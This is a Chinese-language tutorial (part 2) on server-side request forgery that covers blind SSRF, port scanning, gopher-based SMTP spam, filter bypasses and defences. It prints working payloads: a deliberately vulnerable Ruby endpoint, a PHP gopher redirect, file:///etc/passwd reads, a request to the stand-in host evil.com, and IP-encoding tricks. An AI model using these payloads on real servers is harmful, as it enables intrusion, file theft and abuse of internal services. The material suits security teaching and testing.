SSRF-服务器端请求伪造(类型和利用方法)第2部分
字数 1365 2025-08-26 22:11:14

服务器端请求伪造(SSRF)类型与利用方法详解 - 第2部分

盲SSRF (Blind SSRF)

盲SSRF是指攻击者无法直接看到服务器响应内容的SSRF漏洞类型。虽然无法获取响应,但仍可利用其进行内部网络探测和其他攻击。

盲SSRF示例(Ruby)

require 'sinatra'
require 'open-uri'

get '/' do
  open params[:url]
  'done'
end

此代码开放4567端口,当收到请求时:

  1. 对用户提供的URL发出请求
  2. 仅返回"done"而不显示实际响应内容

盲SSRF利用方法

内部IP和端口扫描

通过观察响应状态和响应时间差异,可以探测内部网络中开放的端口和服务。

常用私有IPv4网络范围:

  • 10.0.0.0/8
  • 127.0.0.1/32
  • 172.16.0.0/12
  • 192.168.0.0/16

发送垃圾邮件

利用Gopher协议通过SMTP服务器发送垃圾邮件:

<?php
$commands = array(
    'HELO test.org',
    'MAIL FROM: <admin@server.com>',
    'RCPT TO: <bit-bucket@test.smtp.org>',
    'DATA',
    'Test mail'
);
$payload = implode('%0A', $commands);
header('Location: gopher://test.smtp.org:25/_'.$payload);
?>

拒绝服务攻击

使用iptables TARPIT target和CURL的FTP协议创建长时间阻塞的请求:

https://example.com/ssrf/url?url=ftp://evil.com:12345/TEST

常见SSRF漏洞场景

1. 资源获取端点

示例:

http://example.com/index.php?page=about.php
http://example.com/index.php?page=https://google.com
http://example.com/index.php?page=file:///etc/passwd

2. POST请求中的URL参数

示例:

POST /test/demo_form.php HTTP/1.1
Host: example.com
url=https://example.com/as&name2=value2

3. PDF生成器

当服务器将上传文件转换为PDF时,可尝试注入:

  • <iframe>, ``, <base><script> 元素
  • CSS url() 函数

读取内部文件示例:

<iframe src="file:///etc/passwd" width="400" height="400">
<iframe src="file:///c:/windows/win.ini" width="400" height="400">

4. 文件上传功能

尝试修改输入类型从file改为url

<input type="file" id="upload_file" name="upload_file[]" class="file" size="1" multiple="">
改为
<input type="url" id="upload_file" name="upload_file[]" class="file" size="1" multiple="">

5. 视频转换功能

使用过时版本的ffmpeg进行视频转换时存在SSRF漏洞。利用方法:

  1. 克隆neex仓库
  2. 生成恶意avi文件:
    ./gen_xbin_avi.py file://<filename> file_read.avi
    
  3. 上传到易受攻击服务器并尝试转换为mp4

绕过防护措施

绕过白名单

当目标使用白名单机制时,可利用开放重定向绕过:

案例1:白名单包含abc.com

http://example.com/ssrf.php?url=https://google.com - 被阻止
http://example.com/ssrf.php?url=http://abc.com/?redirect=https://google.com - 成功

案例2:白名单包含*.abc.com
若存在子域名接管漏洞:

http://example.com/ssrf.php?url=http://subdomain.abc.com/?redirect=https://google.com

绕过黑名单

多种方法可绕过IP黑名单:

  1. IP格式转换

    • 十六进制:http://192.168.0.1http://c0.a8.00.01http://0xc0a80001
    • 十进制:http://2130706433/ = http://127.0.0.1
    • 八进制:http://192.168.0.1/http://0300.0250.0000.0001http://030052000001
  2. 使用通配符DNS服务

    • http://xip.io/
    • http://nip.io/
    • https://ip6.name/
    • https://sslip.io/

    示例:

    10.0.0.1.xip.io → 10.0.0.1
    www.10.0.0.1.xip.io → 10.0.0.1
    
  3. 使用自定义域名
    创建子域并设置A记录指向目标IP

  4. 使用封闭式数字字母
    http:example.com

漏洞资源

  • CVE数据库SSRF相关漏洞:https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=ssrf
  • WordPress漏洞数据库:https://wpvulndb.com/search?utf8=✓&text=ssrf

防御建议

  1. 实施严格的白名单机制
  2. 验证所有用户提供的URL
  3. 禁用不必要的协议(如file://, gopher://, ftp://)
  4. 使用网络层防护措施
  5. 定期更新所有组件和依赖项

通过理解这些SSRF技术和绕过方法,安全人员可以更好地评估和防护此类漏洞。

服务器端请求伪造(SSRF)类型与利用方法详解 - 第2部分 盲SSRF (Blind SSRF) 盲SSRF是指攻击者无法直接看到服务器响应内容的SSRF漏洞类型。虽然无法获取响应,但仍可利用其进行内部网络探测和其他攻击。 盲SSRF示例(Ruby) 此代码开放4567端口,当收到请求时: 对用户提供的URL发出请求 仅返回"done"而不显示实际响应内容 盲SSRF利用方法 内部IP和端口扫描 通过观察响应状态和响应时间差异,可以探测内部网络中开放的端口和服务。 常用私有IPv4网络范围: 10.0.0.0/8 127.0.0.1/32 172.16.0.0/12 192.168.0.0/16 发送垃圾邮件 利用Gopher协议通过SMTP服务器发送垃圾邮件: 拒绝服务攻击 使用iptables TARPIT target和CURL的FTP协议创建长时间阻塞的请求: 常见SSRF漏洞场景 1. 资源获取端点 示例: 2. POST请求中的URL参数 示例: 3. PDF生成器 当服务器将上传文件转换为PDF时,可尝试注入: <iframe> , ``, <base> 或 <script> 元素 CSS url() 函数 读取内部文件示例: 4. 文件上传功能 尝试修改输入类型从 file 改为 url : 5. 视频转换功能 使用过时版本的ffmpeg进行视频转换时存在SSRF漏洞。利用方法: 克隆neex仓库 生成恶意avi文件: 上传到易受攻击服务器并尝试转换为mp4 绕过防护措施 绕过白名单 当目标使用白名单机制时,可利用开放重定向绕过: 案例1 :白名单包含abc.com 案例2 :白名单包含* .abc.com 若存在子域名接管漏洞: 绕过黑名单 多种方法可绕过IP黑名单: IP格式转换 十六进制: http://192.168.0.1 → http://c0.a8.00.01 或 http://0xc0a80001 十进制: http://2130706433/ = http://127.0.0.1 八进制: http://192.168.0.1/ → http://0300.0250.0000.0001 或 http://030052000001 使用通配符DNS服务 http://xip.io/ http://nip.io/ https://ip6.name/ https://sslip.io/ 示例: 使用自定义域名 创建子域并设置A记录指向目标IP 使用封闭式数字字母 如 http:example.com 漏洞资源 CVE数据库SSRF相关漏洞:https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=ssrf WordPress漏洞数据库:https://wpvulndb.com/search?utf8=✓&text=ssrf 防御建议 实施严格的白名单机制 验证所有用户提供的URL 禁用不必要的协议(如file://, gopher://, ftp://) 使用网络层防护措施 定期更新所有组件和依赖项 通过理解这些SSRF技术和绕过方法,安全人员可以更好地评估和防护此类漏洞。